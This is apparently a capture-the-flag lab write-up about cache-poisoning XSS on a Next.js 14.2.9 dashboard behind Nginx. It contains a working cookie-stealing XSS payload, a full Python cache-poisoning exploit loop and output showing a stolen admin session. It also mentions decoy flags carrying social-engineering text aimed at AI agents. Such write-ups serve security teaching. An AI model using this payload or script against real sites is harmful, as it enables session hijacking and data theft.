Lab 378 — PulseBoard — Cache Poisoning XSS via Next.js Header Misclassification
Lab 378 — PulseBoard — Cache Poisoning XSS via Next.js Header Misclassification
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_bot_exploitation, cache_poisoning_via_header_misclassification, honeypot_flag_identification, nextjs_x_now_route_matches_isr_bypass, same_origin_exfiltration_via_api, unsanitized_user_agent_reflection
Summary
Walkthrough of the CUSTOM Web Lab 378 — PulseBoard — Cache Poisoning XSS via Next.js Header Misclassification. Task: Next.js 14.2.9 analytics dashboard behind Nginx, /insights page reflects User-Agent unsanitized but is dynamic (not cached). Solution: Send x-now-route-matches header to trick Next.js into treat
Description
PulseBoard is an analytics dashboard built with Next.js that provides real-time metrics, reports, and insights for business teams. The platform features multiple dashboard views, customizable reports, and a visitor insights page that adapts content based on browser information. Your goal is to find and exploit a vulnerability that allows you to execute JavaScript in the context of other users' browsers, including the admin who periodically reviews the insights page. Pay close attention to how different pages are rendered and how the framework handles caching of dynamic content. The admin visits the Insights page regularly.
Target URL: https://190f01f9-6b83-4950-b674-f7d7beb7e8e4.labs.hackadvisor.io/
Credentials: user@test.com / password123
The application is a Next.js 14.2.9 analytics dashboard running in standalone mode behind Nginx 1.25.5. The /insights page reflects the visitor's User-Agent header without sanitization, and an admin bot periodically visits this page with a non-HttpOnly flag cookie.
Analysis
Application Structure
- Framework: Next.js 14.2.9 behind Nginx 1.25.5
- Pages:
/(Dashboard),/reports,/insights,/settings,/login - API endpoints:
/api/feedback(GET returns feedback list, POST creates new entry),/api/auth/logout - Session: Cookie-based with
pb_session(base64 JSON:{"userId":2,"role":"member"}) +pb_session.sig(HMAC signature). Both HttpOnly. - Decoy flags: Every page contains
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in HTML comments and hidden divs with social engineering text targeting AI agents — these are honeypots.
Finding 1: Unsanitized User-Agent Reflection on /insights
The /insights page uses getServerSideProps to read the User-Agent header and renders it directly in the HTML without any encoding:
html read-only • copy allowed<p class="text-sm text-slate-500 mt-1 break-all" id="currentBrowser">curl/8.7.1</p>
Sending a request with User-Agent: <script>alert(1)</script> results in:
html read-only • copy allowed<p ... id="currentBrowser"><script>alert(1)</script></p>
This is a reflected XSS, but under normal conditions it only affects the requesting user because the page is dynamic.
Finding 2: Dynamic Page — Not Cached by Default
Normal response headers for /insights:
cache-control: private, no-cache, no-store, must-revalidate
x-nextjs-cache: DYNAMIC
x-cache: MISS
Since the page is marked as dynamic and private, Nginx never caches it. The reflected XSS is self-only — useless for attacking other users.
Finding 3: Next.js Header Misclassification with x-now-route-matches
The x-now-route-matches header is an internal Vercel/Next.js header used for ISR (Incremental Static Regeneration) routing. When this header is sent with a request to the dynamic /insights page, Next.js 14.2.9 misclassifies the page as static/ISR and changes the response headers:
Without x-now-route-matches:
cache-control: private, no-cache, no-store, must-revalidate
x-nextjs-cache: DYNAMIC
With x-now-route-matches: 1:
cache-control: s-maxage=1, stale-while-revalidate=31536000
x-nextjs-cache: STALE
The s-maxage=1 directive tells the reverse proxy (Nginx) to cache the response for 1 second, and stale-while-revalidate=31536000 allows serving stale content for up to a year while revalidating in the background.
Finding 4: Nginx Cache Key Does Not Include the Poisoning Header
The Vary header only includes Accept-Encoding. The x-now-route-matches header is not part of the Nginx cache key. This means:
- Attacker sends
GET /insightswithx-now-route-matches: 1+ maliciousUser-Agent→ Next.js returns a cacheable response with XSS payload - Nginx caches this response keyed only on the URL path
- Any subsequent visitor to
/insights(without the special header) receives the cached poisoned response
Finding 5: Admin Bot with Non-HttpOnly Flag Cookie
The admin bot periodically visits /insights. The admin's browser has a flag cookie that is NOT HttpOnly, making it readable via document.cookie. The /api/feedback POST endpoint provides a same-origin exfiltration channel — no need for external callbacks.
Solution
Attack Chain
- Authenticate as the regular user
- Send
GET /insightswithx-now-route-matches: 1header and XSS payload inUser-Agent - Next.js misclassifies the page as static → returns
s-maxage=1cache headers - Nginx caches the response containing the XSS payload
- All subsequent visitors to
/insightsget the cached XSS payload - Admin visits
/insights→ XSS executes →document.cookie(containingflag=FLAG{...}) is exfiltrated viaPOST /api/feedback - Read the flag from
GET /api/feedback
XSS Payload
The payload reads document.cookie and also fetches /settings to extract admin profile data, then exfiltrates everything via the same-origin /api/feedback endpoint:
javascript read-only • copy allowed<script> var d={c:document.cookie,u:location.href}; fetch("/settings").then(r=>r.text()).then(t=>{ var m=t.match(/value="([^"]{10,})"/g); d.v=m; fetch("/api/feedback",{method:"POST", headers:{"Content-Type":"application/json"}, body:JSON.stringify({message:"EXFIL:"+JSON.stringify(d)}) }); }); </script>
Exploit Script
Since s-maxage=1, the cache expires every second. The exploit must continuously re-poison the cache to ensure the admin gets the poisoned response when it visits:
python read-only • copy allowed#!/usr/bin/env python3 """ PulseBoard — Cache Poisoning XSS via Next.js Header Misclassification Attack chain: 1. x-now-route-matches header tricks Next.js into treating /insights as static (ISR) 2. Next.js returns s-maxage=1, stale-while-revalidate instead of private, no-cache 3. Nginx caches the response (x-now-route-matches is NOT part of cache key) 4. User-Agent header is reflected unsanitized in the cached HTML 5. Admin visits /insights → gets cached XSS → cookies exfiltrated via /api/feedback """ import requests import time import re import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://190f01f9-6b83-4950-b674-f7d7beb7e8e4.labs.hackadvisor.io" # Login s = requests.Session() login_resp = s.post(f"{TARGET}/login", data={ "email": "user@test.com", "password": "password123" }, allow_redirects=False) print(f"[+] Login: {login_resp.status_code}") print(f"[+] Cookies: {dict(s.cookies)}") # XSS payload: exfiltrate cookies + settings via /api/feedback XSS_PAYLOAD = ( '<script>' 'var d={c:document.cookie,u:location.href};' 'fetch("/settings").then(r=>r.text()).then(t=>{' 'var m=t.match(/value="([^"]{10,})"/g);' 'd.v=m;' 'fetch("/api/feedback",{method:"POST",' 'headers:{"Content-Type":"application/json"},' 'body:JSON.stringify({message:"EXFIL:"+JSON.stringify(d)})' '});' '});' '</script>' ) print(f"[*] XSS payload length: {len(XSS_PAYLOAD)}") # Continuously poison the cache (s-maxage=1, so it expires every second) print(f"[*] Starting cache poisoning loop...") for i in range(1, 300): try: r = s.get(f"{TARGET}/insights", headers={ "x-now-route-matches": "1", "User-Agent": XSS_PAYLOAD }, timeout=5) xcache = r.headers.get('X-Cache', 'N/A') nextjs_cache = r.headers.get('x-nextjs-cache', 'N/A') if i % 10 == 1: # Verify cache is poisoned check = s.get(f"{TARGET}/insights", timeout=5) poisoned = '<script>' in check.text and 'EXFIL' in check.text check_cache = check.headers.get('X-Cache', 'N/A') print(f"[{i}] Poison: {xcache}/{nextjs_cache} | Verify: {check_cache} | Poisoned: {poisoned}") # Check for exfiltrated data fb = s.get(f"{TARGET}/api/feedback", timeout=5) entries = fb.json() for entry in entries: if 'EXFIL:' in entry.get('message', ''): print(f"\n[!!!] EXFILTRATED DATA FOUND!") print(f"[!!!] {entry['message']}") flag_match = re.search(r'FLAG\{[a-f0-9]+\}', entry['message']) if flag_match: print(f"\n[FLAG] {flag_match.group()}") sys.exit(0) time.sleep(0.5) except Exception as e: print(f"[{i}] Error: {e}") time.sleep(1) print("[*] Done.")
Exploit Output
[+] Login: 302
[+] Cookies: {'pb_session': 'eyJ1c2VySWQiOjIsInJvbGUiOiJtZW1iZXIifQ==', 'pb_session.sig': '-NChalyM02a8M3bsMcnlkYSc_8k'}
[*] XSS payload length: 293
[*] Starting cache poisoning loop...
[1] Poison: MISS/STALE | Verify: HIT | Poisoned: True
[11] Poison: HIT/STALE | Verify: HIT | Poisoned: True
[21] Poison: STALE/STALE | Verify: MISS | Poisoned: False
[31] Poison: MISS/STALE | Verify: HIT | Poisoned: True
[41] Poison: HIT/STALE | Verify: HIT | Poisoned: True
[51] Poison: STALE/STALE | Verify: MISS | Poisoned: False
[!!!] EXFILTRATED DATA FOUND!
[!!!] EXFIL:{"c":"flag=FLAG{REDACTED}; pb_session=eyJ1c2VySWQiOjEsInJvbGUiOiJhZG1pbiJ9; pb_session.sig=5CPv8n7zUvBXBDd4VaBvBrA3sxg","u":"http://127.0.0.1:8080/insights","v":["value=\"Rachel Nguyen\"","value=\"admin@pulsemetrics.com\"","value=\"US/Eastern\"","value=\"US/Central\"","value=\"US/Pacific\"","value=\"Europe/London\"","value=\"Europe/Berlin\"","value=\"Asia/Tokyo\"","value=\"Asia/Singapore\"","value=\"YYYY-MM-DD\"","value=\"MM/DD/YYYY\"","value=\"DD/MM/YYYY\""]}
[FLAG] FLAG{REDACTED}
Exfiltrated Admin Data
| Field | Value |
|---|---|
| Flag cookie | flag=FLAG{REDACTED} (non-HttpOnly) |
| Admin session | pb_session=eyJ1c2VySWQiOjEsInJvbGUiOiJhZG1pbiJ9 → {"userId":1,"role":"admin"} |
| Admin name | Rachel Nguyen |
| Admin email | admin@pulsemetrics.com |
| Internal URL | http://127.0.0.1:8080/insights |
Root Cause
Two independent issues combine to create the vulnerability:
-
Next.js 14.2.9 Header Misclassification: The
x-now-route-matchesheader is an internal Vercel header meant for ISR routing. When received by Next.js in standalone mode (not behind Vercel's edge), it causes the framework to skip the dynamic rendering path and treat the page as if it were statically generated, changing cache-control headers fromprivate, no-cachetos-maxage=1, stale-while-revalidate. This header should be stripped by the reverse proxy before reaching Next.js. -
Unsanitized User-Agent reflection: The
/insightspage'sgetServerSidePropsreads the User-Agent header and passes it directly to the template without HTML encoding. Under normal conditions this is a self-only reflected XSS (the page is dynamic/uncached). Combined with the cache misclassification, it becomes a stored/cached XSS affecting all visitors.
Key Takeaways / Lessons
- Mastering admin_bot_exploitation, cache_poisoning_via_header_misclassification, honeypot_flag_identification, nextjs_x_now_route_matches_isr_bypass, same_origin_exfiltration_via_api, unsanitized_user_agent_reflection was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-15 • CUSTOM • Lab 378 — PulseBoard — Cache Poisoning XSS via Next.js Header Misclassification • Difficulty: Medium